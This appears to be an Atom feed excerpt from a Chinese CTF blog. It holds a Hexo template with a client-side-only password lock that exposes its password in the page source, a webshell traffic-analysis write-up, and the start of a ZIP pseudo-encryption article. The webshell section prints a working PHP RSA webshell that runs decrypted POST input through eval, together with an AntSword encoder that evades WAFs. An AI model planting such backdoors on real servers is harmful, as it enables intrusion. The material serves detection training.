     img.cover.fadeIn(src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                        .info                      if theme.lazyload.enable                        img.cf-friends-avatar.no-lightbox.flink-avatar(data-lazy-src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                      else                        img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                      span.flink-sitename.cf-friends-name= item.name      != page.contentelse  #article-container    if theme.linkPageTop &amp;&amp; theme.linkPageTop.enable      #flink-banners        .banner-top-box          .flink-banners-title            .banners-title-small 友情链接            .banners-title-big=theme.linkPageTop ? theme.linkPageTop.title : &quot;与数百名博主无限进步&quot;          .banner-button-group            if (theme.friends_vue.apiurl)              a.banner-button.secondary.no-text-decoration(onclick=&quot;friendChainRandomTransmission()&quot;)                i.anzhiyufont.anzhiyu-icon-paper-plane1                span.banner-button-text 随机访问            if theme.linkPageTop.addFriendPlaceholder &amp;&amp; theme.comments.use == &#39;Twikoo&#39; &amp;&amp; theme.twikoo.envId              a.banner-button.no-text-decoration(onclick=&quot;anzhiyu.addFriendLink()&quot;)                i.anzhiyufont.anzhiyu-icon-arrow-circle-right                span.banner-button-text 申请友链        #skills-tags-group-all          .tags-group-wrapper            - function getAvatarWithoutExclamationMark(url) &#123;            -   const index = url.indexOf(&#39;!&#39;);            -   return index !== -1 ? url.substring(0, index) : url;            - &#125;            each y in [1,2]              each i, index in site.data.link.slice(0, 15)                - const link_list = i.link_list.slice()                - const hundredSuffix = i.hundredSuffix ? i.hundredSuffix : &quot;&quot;                - const evenNum = link_list.filter((x, index) =&gt; index % 2 === 0);                - const oddNum = link_list.filter((x, index) =&gt; index % 2 === 1);                each item, index2 in link_list.slice(0, Math.min(evenNum.length, oddNum.length))                  - const index = index2 * 2                  if (index &lt;= 15 &amp;&amp; typeof evenNum[index] !== &#39;undefined&#39; &amp;&amp; typeof oddNum[index] !== &#39;undefined&#39;)                    - let oddNumAvatar = getAvatarWithoutExclamationMark(oddNum[index].avatar);                    - let evenNumAvatar = getAvatarWithoutExclamationMark(evenNum[index].avatar);                    .tags-group-icon-pair                      a.tags-group-icon.no-text-decoration(href=url_for(evenNum[index].link), title=evenNum[index].name)                        img.no-lightbox(title=evenNum[index].name, src=url_for(evenNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=evenNum[index].name)                      a.tags-group-icon.no-text-decoration(href=url_for(oddNum[index].link), title=oddNum[index].name)                        img.no-lightbox(title=oddNum[index].name, src=url_for(oddNumAvatar + hundredSuffix) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=oddNum[index].name)    if theme.friends_vue &amp;&amp; theme.friends_vue.enable      .title-h2-a        .title-h2-a-left          h2(style=&#39;padding-top:0;margin:.6rem 0 .6rem&#39;) 🎣 钓鱼          a.random-post-start.no-text-decoration(href=&#39;javascript:fetchRandomPost();&#39;)            i.anzhiyufont.anzhiyu-icon-arrow-rotate-right        .title-h2-a-right          a.random-post-all.no-text-decoration(href=&#39;/link/&#39;) 全部友链      #random-post      script(defer data-pjax src=url_for(theme.asset.random_friends_post_js))        .flink      if site.data.link        each i in site.data.link          if i.class_name            h2!= i.class_name + &quot;(&quot; + i.link_list.length + &quot;)&quot;          if i.class_desc            .flink-desc!=i.class_desc          if i.flink_style === &#39;anzhiyu&#39;            div(class=i.lost_contact ? &#39;anzhiyu-flink-list cf-friends-lost-contact&#39; : &#39;anzhiyu-flink-list&#39;)              if i.link_list                each item in i.link_list                  - let color = item.color || &quot;&quot;                  - let tag = item.tag || &quot;&quot;                                    .flink-list-item                    if color == &quot;vip&quot; &amp;&amp; tag                      span.site-card-tag.vip #[=tag]                        i.light                    else if color == &quot;speed&quot; &amp;&amp; tag                      span.site-card-tag.speed #[=tag]                    else if tag                      span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                    else if item.recommend                      span.site-card-tag 荐                    if i.lost_contact                      a.cf-friends-link(href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                        if theme.lazyload.enable                          img.no-lightbox(data-lazy-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        else                          img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        .flink-item-info                          .flink-item-name.cf-friends-name-lost-contact= item.name                    else                      a.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) title=item.name target=&quot;_blank&quot;)                        if theme.lazyload.enable                          img.cf-friends-avatar.no-lightbox(data-lazy-src=url_for(item.avatar), cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        else                          img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=item.name )                        .flink-item-info                          .flink-item-name.cf-friends-name= item.name                          .flink-item-desc(title=item.descr)= item.descr                    else if i.flink_style === &#39;telescopic&#39;            .telescopic-site-card-group              each item in i.link_list                - let color = item.color || &quot;&quot;                - let tag = item.tag || &quot;&quot;                - let siteshot = item.siteshot || `https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/$&#123;item.link&#125;` || theme.default_img                .site-card                  if color == &quot;vip&quot; &amp;&amp; tag                    span.site-card-tag.vip #[=tag]                      i.light                  else if color == &quot;speed&quot; &amp;&amp; tag                    span.site-card-tag.speed #[=tag]                  else if tag                    span.site-card-tag(style=`background-color: $&#123;color&#125;`) #[=tag]                  else if item.recommend                    span.site-card-tag 荐                  a.img.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, rel=&#39;external nofollow&#39;)                    img.flink-avatar(data-lazy-src=siteshot, onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, style=&quot;pointer-events: none;&quot;, src=`$&#123;siteshot&#125;`)                  a.info.cf-friends-link.no-text-decoration(target=&#39;_blank&#39;, title=`$&#123;item.name&#125;`, href=`$&#123;item.link&#125;`, cf-href=url_for(item.link), rel=&#39;external nofollow&#39;)                    .site-card-avatar                      img.flink-avatar.cf-friends-avatar.no-fancybox(data-lazy-src=item.avatar, cf-src=url_for(item.avatar), onerror=`this.onerror=null;this.src=&#39;$&#123;theme.default_img&#125;&#39;`, alt=item.name, src=item.avatar)                    .site-card-text                      span.title.cf-friends-name #[=item.name]                      span.desc(title=`$&#123;item.descr&#125;`) #[=item.descr]          else if i.flink_style === &#39;flexcard&#39;            .flexcard-flink-list              each item in i.link_list                a.flink-list-card.cf-friends-link(href=url_for(item.link) cf-href=url_for(item.link) target=&#39;_blank&#39; data-title=item.descr)                  .wrapper.cover                    - var siteshot = item.siteshot ? url_for(item.siteshot) : &#39;https://image.thum.io/get/width/400/crop/800/allowJPG/wait/20/noanimate/&#39; + item.link                    if theme.lazyload.enable                      img.cover.fadeIn(data-lazy-src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                    else                      img.cover.fadeIn(src=siteshot onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.post_page) + `&#39;` alt=&#39;cover&#39; )                      .info                    if theme.lazyload.enable                      img.cf-friends-avatar.no-lightbox.flink-avatar(data-lazy-src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                    else                      img.cf-friends-avatar.no-lightbox(src=url_for(item.avatar) cf-src=url_for(item.avatar) onerror=`this.onerror=null;this.src=&#39;` + url_for(theme.error_img.flink) + `&#39;` alt=&#39;cover&#39; )                    span.flink-sitename.cf-friends-name= item.name    != page.contentif page.password  script.    function decryptFriends() &#123;      const inputPass = document.getElementById(&#39;hbePass&#39;).value;      const correctPass = &#39;#&#123;page.password&#125;&#39;;      const encryptedContent = document.getElementById(&#39;encrypted-content&#39;);      const errorElement = document.getElementById(&#39;hbeError&#39;);      const encryptContainer = document.getElementById(&#39;hexo-blog-encrypt&#39;);            if (inputPass === correctPass) &#123;        encryptedContent.style.display = &#39;block&#39;;        encryptContainer.style.display = &#39;none&#39;;        errorElement.style.display = &#39;none&#39;;        localStorage.setItem(&#39;friends-page-pass&#39;, inputPass);      &#125; else &#123;        errorElement.style.display = &#39;block&#39;;      &#125;    &#125;    document.addEventListener(&#39;DOMContentLoaded&#39;, function() &#123;      const savedPass = localStorage.getItem(&#39;friends-page-pass&#39;);      if (savedPass === &#39;#&#123;page.password&#125;&#39;) &#123;        document.getElementById(&#39;encrypted-content&#39;).style.display = &#39;block&#39;;        document.getElementById(&#39;hexo-blog-encrypt&#39;).style.display = &#39;none&#39;;      &#125;    &#125;);</code></pre><ol start="2"><li>在你创建友链页面而生成的<code>\source\link\index.md</code>文件的Front-matter部分，添加以下参数：</li></ol><pre><code>password: your_password # 设置你的访问密码message: 请输入密码查看友链wrong_pass_message: 密码错误，请重试！abstract: 这里是加密的友链页面，只有知道密码的朋友才能看到哦~</code></pre><ol><li>创建CSS样式并引入配置文件进行美化：</li></ol><pre><code class="language-css">/* 加密界面样式 */#hexo-blog-encrypt &#123;  background: var(--anzhiyu-card-bg);  border: var(--style-border);  border-radius: 12px;  padding: 3rem 2rem;  margin: 2rem 0;  box-shadow: var(--anzhiyu-shadow-border);  text-align: center;&#125;.hbe-input-container &#123;  margin-bottom: 1rem;&#125;#hbePass &#123;  padding: 10px 15px;  border: var(--style-border);  border-radius: 8px;  width: 200px;  margin-right: 10px;  background: var(--anzhiyu-background);  color: var(--anzhiyu-fontcolor);&#125;#hexo-blog-encrypt button &#123;  padding: 10px 20px;  background: var(--anzhiyu-theme);  color: var(--anzhiyu-white);  border: none;  border-radius: 8px;  cursor: pointer;  transition: all 0.3s;&#125;#hexo-blog-encrypt button:hover &#123;  background: var(--anzhiyu-theme);  transform: translateY(-2px);  box-shadow: var(--anzhiyu-shadow-theme);&#125;</code></pre><p>完成后进行hexo 三连即可应用</p><blockquote><p>附： 该功能初步实现，如有隐藏bug或安全漏洞请联系，感激不尽</p><p>注： 本功能与文章加密插件不兼容</p></blockquote>]]>
    </content>
    <id>http://czxh.top/2025/11/03/Anzhiyu_Flink_Encrypt/</id>
    <link href="http://czxh.top/2025/11/03/Anzhiyu_Flink_Encrypt/"/>
    <published>2025-11-02T16:00:00.000Z</published>
    <summary>Anzhiyu主题的一些魔改，似乎并没有什么用</summary>
    <title>Anzhiyu_Flink_Encrypt</title>
    <updated>2025-12-09T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>诗雨.Promise</name>
    </author>
    <category term="Misc" scheme="http://czxh.top/categories/Misc/"/>
    <category term="Misc" scheme="http://czxh.top/tags/Misc/"/>
    <category term="CTF" scheme="http://czxh.top/tags/CTF/"/>
    <content>
      <![CDATA[<h1 id="Webshell流量深入理解"><a href="#Webshell流量深入理解" class="headerlink" title="Webshell流量深入理解"></a>Webshell流量深入理解</h1><p><strong>Webshell流量</strong>，指的是攻击者在已经获取一个Web服务器的部分权限后，通过上传的<strong>Webshell后门脚本</strong>与服务器进行交互时，所产生的网络通信数据。</p><p>首先，攻击者通过漏洞（如文件上传漏洞、命令注入漏洞等）将一个Webshell脚本文件（如 <code>shell.php</code>、<code>backdoor.jsp</code>）放到了网站的目录下。这个Webshell脚本就是一个驻留在服务器上的<strong>后门</strong>。</p><p>攻击者通过客户端（专用连接工具）向这个Webshell脚本发送命令，服务器就可以执行攻击者想要执行的命令。</p><p>简单来说：</p><p><code>Webshell流量 = 攻击者通过Web后门（Webshell）远程控制服务器时，产生的“指令”和“结果”数据流。</code></p><p>通过分析webshell流量，就可以知道攻击者的意图和攻击手法</p><p>一般CTF中，根据客户端连接工具的不同，常见的流量有： 菜刀，蚁剑，冰蝎，哥斯拉，CobalStrike（CS流量）等。</p><h2 id="菜刀流量"><a href="#菜刀流量" class="headerlink" title="菜刀流量"></a>菜刀流量</h2><h3 id="中国菜刀"><a href="#中国菜刀" class="headerlink" title="中国菜刀"></a>中国菜刀</h3><p><a href="https://github.com/raddyfiy/caidao-official-version">https://github.com/raddyfiy/caidao-official-version</a></p><p>中国菜刀是一款功能强大的webshell工具，可以用来获取目标网站的文件系统，获取目标的shell进行命令执行操作，进行数据库操作等。常见版本有三个：</p><p>分别为2011版，2014版，2016版</p><h3 id="流量特征"><a href="#流量特征" class="headerlink" title="流量特征"></a>流量特征</h3><p>菜刀流量通常即指使用菜刀工具所产生的webshell流量</p><p>流量特征一般为：</p><ol><li>请求体： 通常是<code>base64加密过再URL编码</code>后的数据</li><li>利用方式： 主要是eval函数</li><li>响应体： 通常数据被包含在<code>-&gt;| |&lt;-</code>符号中，这是菜刀最显著的一个特征</li></ol><h3 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h3><p><strong>buuctf:菜刀666</strong></p><p>打开流量包追踪流：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511021340406.png" alt="image-20251102134054182"></p><p>可以发现，<strong>在请求内容里，主要利用的是eval函数&#x2F;assert函数，所有参数都经过<code>base64编码</code>，使用base64_decode函数。而响应内容是带 <code>-&gt;| |&lt;-</code>分隔符的</strong></p><p>其次，如果多看几个流量，还会发现参数名上也有一些特征：参数名通常是命名为z1、z2、z3……通常 z0用于设置环境变量、z1为密码、z2为执行的命令。</p><p>这些就是菜刀流量的特征了，由于只是base64编码内容或直接呈现明文，因此流量分析过程简单。</p><p>以上题为例，追踪流很容易发现传输的文件：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511021538560.png" alt="image-20251102153817421"></p><p>提取出图片后得到key，再解密foremost提取出的压缩包，即可得到flag</p><h2 id="蚁剑流量"><a href="#蚁剑流量" class="headerlink" title="蚁剑流量"></a>蚁剑流量</h2><h3 id="蚁剑"><a href="#蚁剑" class="headerlink" title="蚁剑"></a>蚁剑</h3><p>中国蚁剑（AntSword） 是一款开源、跨平台的 WebShell 管理工具，支持 PHP、ASP、ASPX、JSP 等常见脚本语言。它是渗透测试人员和安全研究员常用的 Web 持久化控制平台之一，主要用于管理目标服务器上的 WebShell，实现文件管理、命令执行、数据库操作等功能。</p><h3 id="流量特征-1"><a href="#流量特征-1" class="headerlink" title="流量特征"></a>流量特征</h3><p>还是先介绍一下特征，以便我们如何得知这是一个蚁剑流量：</p><h4 id="编解码器："><a href="#编解码器：" class="headerlink" title="编解码器："></a>编解码器：</h4><p>相比菜刀使用明文&#x2F;弱编码（Base64），使用固定分隔符|&lt;-，极易被waf拦截，蚁剑主要改进的功能是编码解码器。</p><p>蚁剑的编码解码器是蚁剑中用于加密和解密与服务器通信数据的组件，它能将蚁剑发送的请求和接收的响应数据进行混淆（如Base64、rot13、自定义算法等），以绕过WAF等安全防护，实现隐蔽的命令执行和数据传输。编码器处理发往服务器的流量，而解码器处理从服务器返回的流量。</p><p>蚁剑的默认编码&#x2F;解码器：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511031639903.png" alt="image-20251103163938735"></p><h5 id="一-default"><a href="#一-default" class="headerlink" title="一. default"></a>一. default</h5><p>选择编&#x2F;解码器选着default时，不对传输的Payload进行任何操作。</p><p>这里我搭建了一个文件上传靶场，传入一句话木马并抓取蚁剑的连接流量：</p><p>因为蚁剑是http 协议post请求，对http数据流进行追踪，可以找到数据交互的过程。</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511031720744.png" alt="image-20251103172001510"></p><p>可以发现payload只进行了URL编码，可以使用工具轻松解码：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511031721197.png" alt="image-20251103172142040"></p><p>同时，我们也看到了一些特征：</p><ol><li><strong>蚁剑带了明显的特征函数@ini_set(“display_errors”，”0”)；</strong></li><li><strong>在响应的回显结果中，发现前后各有一串随机字符串</strong>（这是蚁剑为了对抗安全检测而设计的混淆手段）</li></ol><h5 id="二-base64编码器"><a href="#二-base64编码器" class="headerlink" title="二. base64编码器"></a>二. base64编码器</h5><p>请求响应流量如下：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511031736521.png" alt="image-20251103173652384"></p><p>可以发现，当选择编&#x2F;解码器选着base64时，<strong>蚁剑会将payload经过base64编码再经过URL编码后赋值给一个随机字符串</strong>。</p><p>然后将这个随机字符串的值通过POST方法传入eval函数再base64解码，通过eval函数执行。</p><p>其余的特征不变，包括响应值中依旧前后会有随机的字符串：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511031740818.png" alt="image-20251103174039711"></p><h5 id="三-chr编码器"><a href="#三-chr编码器" class="headerlink" title="三. chr编码器"></a>三. chr编码器</h5><p>请求响应流量如下：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511031743370.png" alt="image-20251103174357217"></p><p>可以发现，当编码器选择chr的时候，蚁剑会对payload的所有字符都利用利用chr函数进行转换，其余的特征均相同</p><h5 id="四-php-RSA编码器"><a href="#四-php-RSA编码器" class="headerlink" title="四. php RSA编码器"></a>四. php RSA编码器</h5><p>配置rsa编码器：</p><ol><li>生成rsa密钥和php代码：</li></ol><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20260127131319066.png" alt="image-20260127131319066"></p><p>其中php代码：</p><pre><code class="language-php">&lt;?php$cmd = @$_POST[&#39;ant&#39;];$pk = &lt;&lt;&lt;EOF-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiffopq4KWtKj84TxOTqVseTYTRtQ88XHOiDsxY8ZDXa9pNEE6bkU9X3rpRxMhKUX3k+kA7rT3h1jF86cVp1UrB2YEQPL8Fom0swUdR0RourX6lRy6yyUyMLKglO6zWgvdJLubeNM5jmOna8KgQ8zIe+Car4yKSRFlJ8IKXdKy5wIDAQAB-----END PUBLIC KEY-----EOF;$cmds = explode(&quot;|&quot;, $cmd);$pk = openssl_pkey_get_public($pk);$cmd = &#39;&#39;;foreach ($cmds as $value) &#123;  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) &#123;    $cmd .= $de;  &#125;&#125;eval($cmd);</code></pre><ol start="2"><li>接着新建一个php rsa编码器：</li></ol><pre><code class="language-javascript">/** * php::RSA编码器 * Create at: 2026/01/27 13:13:41 */&#39;use strict&#39;;/* * @param  &#123;String&#125; pwd   连接密码 * @param  &#123;Array&#125;  data  编码器处理前的 payload 数组 * @return &#123;Array&#125;  data  编码器处理后的 payload 数组 */module.exports = (pwd, data, ext=&#123;&#125;) =&gt; &#123;    let n = Math.ceil(data[&#39;_&#39;].length / 80);    let l = Math.ceil(data[&#39;_&#39;].length / n);    let r = []    for (var i = 0; n &gt; i; i++) &#123;        r.push(ext[&#39;rsa&#39;].encryptPrivate(data[&#39;_&#39;].substr(i * l, l), &#39;base64&#39;));    &#125;    data[pwd] = r.join(&quot;|&quot;);    delete data[&#39;_&#39;];    return data;&#125;</code></pre><p>分析编码器，可以发现：</p><p>主要逻辑是将原始 payload 分割成多个块，分别使用 <strong>RSA 私钥</strong>加密，然后将加密结果用 “|” 连接起来。</p><ul><li><code>pwd</code>: 连接密码，用于指定加密后数据存放的键名</li><li><code>data</code>: 包含原始 payload 的对象</li><li><code>ext</code>: 扩展对象，包含 RSA 加密器（<code>ext[&#39;rsa&#39;]</code>）</li></ul><ol start="3"><li>测试传shell并捕获流量：</li></ol><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20260127132032767.png" alt="image-20260127132032767"></p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20260127132242542.png" alt="image-20260127132242542"></p><p>首先分析发现，在POST请求中有多个参数：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20260127154353934.png" alt="image-20260127154353934"></p><p>其中有一个固定的参数是ant</p><p>它的值是通过上述的rsa进行加密的：</p><p>可以使用公钥进行解密：</p><pre><code class="language-php">&lt;?php$ant = &#39;xxx&#39;;$ant = urldecode($ant);$pubkey = &lt;&lt;&lt;EOF-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiffopq4KWtKj84TxOTqVseTYTRtQ88XHOiDsxY8ZDXa9pNEE6bkU9X3rpRxMhKUX3k+kA7rT3h1jF86cVp1UrB2YEQPL8Fom0swUdR0RourX6lRy6yyUyMLKglO6zWgvdJLubeNM5jmOna8KgQ8zIe+Car4yKSRFlJ8IKXdKy5wIDAQAB-----END PUBLIC KEY-----EOF;$pk = openssl_pkey_get_public($pubkey);if ($pk === false) &#123;    die(&#39;Invalid public key&#39;);&#125;$chunks = explode(&#39;|&#39;, $ant);$cmd = &#39;&#39;;foreach ($chunks as $chunk) &#123;    $decrypted = &#39;&#39;;    $bin = base64_decode($chunk, true);    if ($bin === false) &#123;        continue;    &#125;    $ok = openssl_public_decrypt(        $bin,        $decrypted,        $pk,        OPENSSL_PKCS1_PADDING    );    if ($ok === true) &#123;        $cmd .= $decrypted;    &#125;&#125;echo $cmd;</code></pre><pre><code>@ini_set(&quot;display_errors&quot;, &quot;0&quot;);@set_time_limit(0);$opdir=@ini_get(&quot;open_basedir&quot;);if($opdir) &#123;$ocwd=dirname($_SERVER[&quot;SCRIPT_FILENAME&quot;]);$oparr=preg_split(base64_decode(&quot;Lzt8Oi8=&quot;),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) &#123;if(!@is_writable($item))&#123;continue;&#125;;$tmdir=$item.&quot;/.6fa00ad71f1b&quot;;@mkdir($tmdir);if(!@file_exists($tmdir))&#123;continue;&#125;$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set(&quot;open_basedir&quot;, &quot;..&quot;);$cntarr=@preg_split(&quot;/\\\\|\//&quot;,$tmdir);for($i=0;$igetMessage();&#125;;asoutput();die();</code></pre><h5 id="四-其它"><a href="#四-其它" class="headerlink" title="四. 其它"></a>四. 其它</h5><ul><li>chr16编码器：对payload的所有字符都利用chr函数转换，但是对chr函数传递的参数是十六进制。</li><li>rot13编码器：对payload中的字母进行rot13转换。</li></ul><h2 id="冰蝎流量"><a href="#冰蝎流量" class="headerlink" title="冰蝎流量"></a>冰蝎流量</h2><p>冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端，冰蝎当中 shell 是通过传输协议配置的</p><p>可以看到有以下协议：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511051242435.png" alt="image-20251105124214340"></p><h3 id="通信流程"><a href="#通信流程" class="headerlink" title="通信流程"></a>通信流程</h3><p>冰蝎 4.0 通信流程如下：</p><p><strong>密钥协商</strong></p><pre><code>1、攻击者首先通过GET或者POST传参的方法对服务器请求密钥,譬如：http://127.0.0.1/webshell.aspx?password=62、服务器使用生成的随机数的MD5值的前十六位当作密钥K并且存储在全局变量$_SESSION中，并且发给攻击者</code></pre><p><strong>加密传输</strong></p><pre><code>1、攻击者得到了密钥K，将K作为密钥进行AES128或者异或加密加密手法将执行命令发送到服务段2、服务端得到密文之后使用K进行解密3、将得到的执行结果使用K进行AES加密之后传回攻击者</code></pre><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202511101331541.png" alt="image-20251110133125398"></p><h3 id="传输协议"><a href="#传输协议" class="headerlink" title="传输协议"></a>传输协议</h3><p>以default_aes为例：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20260212155111622.png" alt="image-20260212155111622"></p><p>选择生成服务端，即可自动生成多种shell:</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20260212155159699.png" alt="image-20260212155159699"></p><p>上传到目标靶机，然后在客户端中选择新建链接，填好url链接即可连接成功</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/image-20260212155407071.png" alt="image-20260212155407071"></p>]]>
    </content>
    <id>http://czxh.top/2025/11/02/webshell%E6%B5%81%E9%87%8F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3/</id>
    <link href="http://czxh.top/2025/11/02/webshell%E6%B5%81%E9%87%8F%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3/"/>
    <published>2025-11-01T16:00:00.000Z</published>
    <summary>webshell流量</summary>
    <title>Webshell流量深入理解</title>
    <updated>2025-11-01T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>诗雨.Promise</name>
    </author>
    <category term="Misc" scheme="http://czxh.top/categories/Misc/"/>
    <category term="Misc" scheme="http://czxh.top/tags/Misc/"/>
    <category term="CTF" scheme="http://czxh.top/tags/CTF/"/>
    <content>
      <![CDATA[<h1 id="深入理解zip伪加密"><a href="#深入理解zip伪加密" class="headerlink" title="深入理解zip伪加密"></a>深入理解zip伪加密</h1><blockquote><p>前言: 之前一直认为,zip的伪加密也就是判断奇偶，改一改加密标志位那么简单,甚至可以直接上手拿工具去梭,感谢经过C3ngH师傅指正后,才意识到其中原理的重要性. 对其深入研究后, 记录下这篇文章。</p></blockquote><h2 id="zip伪加密原理"><a href="#zip伪加密原理" class="headerlink" title="zip伪加密原理"></a>zip伪加密原理</h2><p>了解伪加密之前，我们需要深入理解zip的文件结构。</p><p>一个zip通常由三部分组成，即： <code>压缩源文件数据区</code>  <code>压缩源文件目录区</code>  <code>压缩源文件目录结束标志</code></p><p>如图：</p><p><img src="https://czxh.oss-cn-beijing.aliyuncs.com/pic/202510311651394.png" alt="image-20251031165119300"></p><h3 id="压缩源文件数据区："><a href="#压缩源文件数据区：" class="headerlink" title="压缩源文件数据区："></a>压缩源文件数据区：</h3><table><thead><tr><th align="center">HEX</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">50 4B 03 04</td><td align="center">这是zip的头文件标记（0x04034b50），对应文本PK</td></tr><tr><td align="center">14 00</td><td align="center">解压文件所需的 pkware 版本</td></tr><tr><td align="center">00 00</td><td align="center">全局方式位标记（有无加密）</td></tr><tr><td align="center">08 00</td><td align="center">压缩方式 （0x0008，对应Deflated）</td></tr><tr><td align="center">AA 84</td><td align="center">最后修改文件时间 （遵循MS-DOS时间格式）</td></tr><tr><td align="center">5F 5B</td><td align="center">最后修改文件日期 （遵循MS-DOS时间格式）</td></tr><tr><td align="center">6A B1 EC C9</td><td align="center">CRC-32校验和（0xC9ECB16A）</td></tr><tr><td align="center">19 00 00 00</td><td align="center">压缩后尺寸</td></tr><tr><td align="center">18 00 00 00</td><td align="center">未压缩尺寸</td></tr><tr><td align="center">08 00</td><td align="center">文件名长度</td></tr><tr><td align="center">00 00</td><td align="center">扩展记录长度</td></tr><tr><td align="center">66 6C 61 67 2E 74 78 74</td><td align="center">文件名（对应flag.txt）</td></tr></tbody></table><h3 id="压缩源文件目录区"><a href="#压缩源文件目录区" class="headerlink" title="压缩源文件目录区"></a>压缩源文件目录区</h3><table><thead><tr><th align="center">HEX</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">50 4B 01 02</td><td align="center">目录中文件文件头标记</td></tr><tr><td align="center">1F 00</td><td align="center">压缩使用的 pkware 版本</td></tr><tr><td align="center">14 00</td><td align="center">解压文件所需 pkware 版本</td></tr><tr><td align="center">00 00</td><td align="center">全局方式位标记（有无加密）</td></tr><tr><td align="center">08 00</td><td align="center">压缩方式</td></tr><tr><td align="center">AA 84</td><td align="center">最后修改文件时间</td></tr><tr><td align="center">5F 5B</td><td align="center">最后修改文件日期</td></tr><tr><td align="center">6A B1 EC C9</td><td align="center">CRC-32校验和</td></tr><tr><td align="center">16 00 00 00</td><td align="center">压缩后尺寸</td></tr><tr><td align="center">18 00 00 00</td><td align="center">未压缩尺寸</td></tr><tr><td align="center">08 00</td><td align="center">文件名长度</td></tr><tr><td align="center">24 00</td><td align="center">扩展字段长度</td></tr><tr><td align="center">00 00</td><td align="center">文件注释长度（0 字节，表示没有注释）</td></tr><tr><td align="center">00 00</td><td align="center">磁盘开始号（0，表示文件不跨磁盘）</td></tr><tr><td align="center">00 00</td><td align="center">内部文件属性</td></tr><tr><td align="center">20 00 00 00</td><td align="center">外部文件属性</td></tr><tr><td align="center">00 00 00 00</td><td align="center">局部头部偏移量</td></tr><tr><td align="center">66 6C 61 67 2E 74 78 74</td><td align="center">文件名（对应flag.txt）</td></tr><tr><td align="center">0A 00 20 00 … DC 01</td><td align="center">扩展字段（长度为36字节，这是由上面的扩展字段长度24 00决定的。这是ZIP64、NTFS时间戳等扩展信息的存放位置）</td></tr></tbody></table><h3 id="压缩源文件目录结束标志"><a href="#压缩源文件目录结束标志" class="headerlink" title="压缩源文件目录结束标志"></a>压缩源文件目录结束标志</h3><table><thead><tr><th align="center">HEX</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">50 4B 05 06</td><td align="center">目录结束标记</td></tr><tr><td align="center">00 00</td><td align="center">当前磁盘编号（因为该ZIP文件没有分卷，不跨越多张磁盘，所以从0开始）</td></tr><tr><td align="center">00 00</td><td align="center">目录区开始磁盘编号 （同上，表示中央目录也位于第一个磁盘上）</td></tr><tr><td align="center">01 00</td><td align="center">本磁盘上纪录总数 （表示当前磁盘上有1条中央目录记录）</td></tr><tr><td align="center">01 00</td><td align="center">目录区中纪录总数 